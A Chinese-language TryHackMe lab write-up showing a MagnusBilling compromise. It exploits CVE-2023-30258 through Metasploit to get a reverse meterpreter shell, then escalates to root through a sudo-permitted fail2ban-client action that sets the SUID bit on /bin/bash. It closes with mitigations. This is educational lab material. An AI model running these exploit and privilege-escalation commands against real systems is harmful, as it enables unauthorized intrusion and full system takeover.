逐步演练,利用CVE-2023-30258(MagnusBilling RCE)并通过fail2ban错误配置在TryHackMe实验室中提升权限。演示Web枚举、Metasploit利用和Linux权限提升。
⸻
🛡️ MagnusBilling RCE → Root (CVE-2023-30258)
📌 概述 • 目标:10.145.148.203 • 平台:TryHackMe • 漏洞:CVE-2023-30258 • 访问方式:未认证远程代码执行(RCE) • 权限提升:fail2ban 配置错误 • 最终权限:Root
⸻
🔍 1. 信息收集
端口扫描
rustscan -a 10.145.148.203
📊 开放端口
端口 服务
22 SSH
80 HTTP
3306 MySQL
5038 Asterisk

Asterisk 的存在暗示这是一个 VoIP/计费系统。
⸻
🌐 2. Web 枚举
目录爆破
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt
-u "http://10.145.148.203/mbilling/FUZZ" -ic -c
📁 发现: • /archive • /assets • /lib • /tmp • /protected
/mbilling 路径被确定为潜在的攻击向量。

⸻
🚨 3. 漏洞识别
CVE-2023-30258
MagnusBilling 存在以下漏洞: • 未认证远程代码执行(RCE) • 命令注入 • 完全系统沦陷
⸻
💣 4. 漏洞利用(Metasploit)
msfconsole
search CVE:2023-30258
use exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258
set RHOSTS 10.145.148.203
set LHOST tun0
set LPORT 4444
run

⸻
🎯 结果
meterpreter 会话已打开
sysinfo
OS: Linux Debian User: asterisk
⸻
🔐 5. 初始访问
shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
whoami
asterisk
⸻
🏁 6. 用户 Flag
cd /home/magnus cat user.txt
⸻
🔎 7. 权限提升
检查 sudo
sudo -l
(ALL) NOPASSWD: /usr/bin/fail2ban-client
检测到严重配置错误!
⸻
💣 8. 利用 Fail2Ban
添加恶意动作
sudo fail2ban-client set mbilling_login addaction evil
sudo fail2ban-client set mbilling_login action evil actionban "chmod +s /bin/bash"
sudo fail2ban-client set mbilling_login banip 127.0.0.1
⸻
🚀 9. Root 访问
/bin/bash -p
id
euid=0(root)
最初 whoami 返回 asterisk。使用 bash -p 提升为 root。
⸻
👑 10. Root Flag
cat /root/root.txt
⸻
🧠 11. 关键要点 • CVE 漏洞利用提供了简单的初始访问 • Web 枚举至关重要(ffuf 识别出 /mbilling) • 配置错误的 sudo 可能导致完全系统沦陷 • fail2ban 可被滥用于权限提升
⸻
🛡️ 12. 缓解措施 • 将 MagnusBilling 更新至最新版本 • 从 sudo 配置中移除 NOPASSWD • 限制对 fail2ban-client 的访问 • 加固 Web 应用程序和端点
⸻
💀 结论
该机器展示了一条真实的攻击链:
Web RCE → Shell → 权限提升 → Root
漏洞与配置错误的结合导致了完全系统沦陷。